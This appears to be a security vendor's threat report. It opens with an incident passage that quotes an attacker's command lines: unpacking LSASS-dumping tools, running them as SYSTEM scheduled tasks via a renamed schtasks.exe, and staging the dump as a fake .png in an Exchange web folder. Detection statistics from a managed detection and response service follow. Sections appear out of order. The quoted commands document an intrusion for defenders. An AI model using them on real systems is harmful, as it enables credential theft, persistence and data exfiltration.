	Then the attacker tried to dump the LSASS process memory using another tool. They unzipped an archive containing the resource.exe and twindump.dll files.	C:\Windows\System32\cmd.exe /C c:\”program files”\7- zip\7z.exe x -pKJERKL6j4dk&@1 c:\programdata\m.zip -o c:\windows\cluster ## resource.exe and twindump.dll files were created
	Subsequently, the file resource.exe was added to the planned tasks and executed. However, the attempt to obtain an LSASS dump was unsuccessful.	C:\Windows\System32\cmd.exe /C C:\Windows\System32\staskes.exe /create /tn Ecoh /tr “cmd /c C:\Windows\cluster\resource.exe ase2af6das3fzc2 agasg2aa23gfdgd” /sc onstart /ru system /F ## staskes.exe is a renamed schtasks.exe file
	Later, one more attempt to perform this technique was made. The attacker unpacked an archive containing another malicious utility, and ran it the same way as previously. The created files are presumably related to the MirrorDump tool. As a result, the attacker successfully obtained an LSASS dump.	C:\Windows\System32\cmd.exe /C c:\”program files”\7- zip\7z.exe x -p”KJERfK#L6j4dk321″ c:\programdata\E.zip -o c:\programdata\ C:\Windows\System32\cmd.exe /C c:\windows\system32\staskes.exe /create /tn Ecoh /tr “c:\programdata\InEnglish.exe g2@j5js1 0sdfs,48 C:\programdata\EnglishEDouble C:\programdata\EnglishDDouble C:\programdata\English1.dll C:\programdata\English.dmp” /sc onstart /ru system /F C:\Windows\System32\cmd.exe /C c:\windows\system32\staskes.exe /run /tn Ecoh
	Then the obtained dump was exported to Exchange server. Afterwards, the attacker deleted all the created files.	C:\Windows\System32\cmd.exe /C copy c:\programdata\Es.zip c:\Program Files\Microsoft\Exchange Server\V14\ClientAccess\owa\auth\Es.png

Table below contains signs of suspicious activity that were the starting point for investigation.

Observed malicious files:

Conclusion

Attackers follow trends. They use any loophole to break into your corporate network. Sometimes they learn about new vulnerabilities in products earlier than security researchers do. Sometimes they hide so skillfully that their actions are indistinguishable from those of your employees or administrators.

Countering targeted attacks requires extensive experience as well as constant learning. Kaspersky Managed Detection and Response delivers fully managed, individually tailored ongoing detection, prioritization, investigation, and response. As a result, it provides all the major benefits from having your own security operations center without having to actually set one up.

 Download full report (PDF)

Introduction

This report contains the results of the Managed Detection and Response (MDR) service (brand name – Kaspersky Managed Protection). The MDR service provides managed threat hunting and initial incident response. Threat hunting is the practice of iteratively searching through data collected from sensors (referenced as telemetry or events) in order to detect threats that successfully evade automatic security solutions. A brief description of the service is provided at the end of this document.

The MDR service processes security operations events, focusing on and improving activity performed by professionals in charge of threat hunting projects, their level of expertise and the threat intelligence enabled through the detection process. According to David Bianco’s Pyramid of Pain, TTP-based threat detection is the most difficult type of indicators of attacks (IoAs) to circumvent for an adversary. The Kaspersky team is focused on TTP-based threat hunting in its MDR service, where humans are heavily involved to ensure the best judgments are made on collected events, especially advanced threats. This significantly augments automatic detection logic provided by endpoint protection products (EPP) used as sensors during the service delivery.

Life cycle of a threat hunting hypothesis

Geography and industry verticals of the MDR service delivered by Kaspersky

The analysis was conducted based on data from organizations around the world that used our service in the first half of 2019. Government bodies, financial institutions, industrial organizations, telecommunication and IT companies worldwide use our service to protect their IT infrastructure. Data from organizations that used our services for frequent health checks was also included.

Incident detection operations

Almost all alerts were generated by the analysis of events from endpoint sensors based on IoAs (TTP-based threat detection logic) and less than 2% of them were identified as cybersecurity incidents.

The low IoA conversion rate reflects the need to detect advanced threats which use a ‘living off the land’ approach, with behaviors that are very similar to legitimate activity. The more a malicious behavior mimics the normal behavior of users and administrators, the higher the rate of false positives and, consequently, the lower the conversion rate from alerts.

MTTR in view of incident severity

The incident processing time can is slightly depend on severity: incidents with a higher degree of severity require more complex and complicated analysis. They require more advanced remediation measures to cure infected systems and to protect against reoccurrence or threat propagation inside the network infrastructure than incidents with medium and low severity levels.

The MTTR values for incidents of different severity are provided below.

Incident prioritization

Incident severity is evaluated by experts based on a combination of factors, such as threat actor, attack stage at the time of incident detection (e.g. cyber kill chain), the scale of affected infrastructure, details about the threat and how it may be relevant to a customer’s business and, with the customer’s feedback, the identified impact on infrastructure, complexity of remediation measures and more. The severity levels are described below.

In the first half of 2019, we identified the following severity levels by month.

Things to note

Almost all incidents that have medium or low severity are connected to threats that can be efficiently remediated by endpoint protection products (EPP). No action from the side of the victim systems is required except for anti-malware database updates to EPPs to eliminate the risks associated with such incidents. This shows that an EPP is an effective threat response tool in the case of low and medium severity incidents, but it requires an additional level of TTP-based threat hunting, manual detection, and analysis to find new, unknown, or advanced threats.

Effectiveness of detection technologies

Incident distribution by event source (sensors)

Highlights

• Almost half of all incidents were detected through the analysis of malicious actions or objects detected during the advanced analysis of endpoint behavior using TTP-based threat detection logic (using IoAs). This demonstrates the general efficiency of the endpoint IoA approach in detecting advanced threats and sophisticated malware-less attacks.
• About one-third of all incidents were detected through the analysis of suspicious objects by the Advanced Sandbox component, which is usually connected with fraudulent email attachments that belong to various spam and phishing attacks targeting organizations all over the world. Detailed information on spam and phishing attacks in Q1 2019 was published on May 15, 2019 on Securelist.

Statistics on incident severity level distributed by detection technology

Adversary tactics and techniques used in incidents

Kaspersky determines the adversary tactics and techniques related to alerts and cybersecurity incidents detected via TTP-based threat hunting (using IoAs) in accordance with MITRE’s globally accepted ATT&CK knowledge base.

Statistics on attack tactics used in incidents of different severity (high, medium, low) at the time of detection

The tactics are placed in Cyber Kill Chain order.

Highlights

• Cybersecurity incidents for almost all existing attack tactics were detected, which indicated the possibility of activity detection at all stages of potential hacker actions (no incidents with the Exfiltration tactic were implemented in the MDR service detection logic).
• Detection of different ATT&CK tactics shows the ability to detect threats in the ‘post-breach’ attack stage when the intruders had already obtained access to the targeted systems, or even network infrastructure and were in the process of achieving attack objectives.
• The statistics show the great importance of post-breach scenario detection in threat hunting combined with the classical pre-breach approach mainly implemented in preventive security controls. The better the threat is able to imitate legitimate activity, the greater its chances of avoiding detection before the actual compromise, which is very common for advanced malware-less threats.

Things to note

• The greatest number of attacks were found at the Execution, Defense evasion, Lateral movement and Impact The tactics used during these stages are often considered the noisiest.
• The significant number of Persistence detections demonstrate the importance of being able to detect this tactic’s techniques and procedures.

Effectiveness of MITRE ATT&CK in security operations

The technique conversion = # incidents associated with the technique / # alerts associated with the technique
The higher the conversion, the more alerts become cybersecurity incidents after analysis.

Technique frequency (among alerts generated via IoAs)

A large number of alerts associated with an attack technique generally result from its legitimate use in the analyzed infrastructure. This must be controlled properly, because it indicates potentially favorable conditions for conducting corresponding attacks.

It is highly important to determine whether behavior is normal for a particular IT infrastructure.

• Having a baseline for what is normal activity in your IT infrastructure (efficient situational awareness) will help reduce false alerts for legitimate activity and raise the effectiveness of threat detection operations.

Detailed information on attack technique statistics, including telemetry required for detection of the corresponding cybersecurity incidents, is provided by link.

Kaspersky MDR service description

Detection technologies

Monitoring process

Real-time monitoring of network traffic combined with object sandboxing and endpoint behavior analysis delivers a detailed insight into what is happening across a business’s IT infrastructure. According to the global threat landscape and the use of TTP-based threat detection logic (using IoAs), correlation of events from multiple layers of IT infrastructure, including networks and endpoints, enables “near real-time” detection of complex threats as well as retrospective investigations.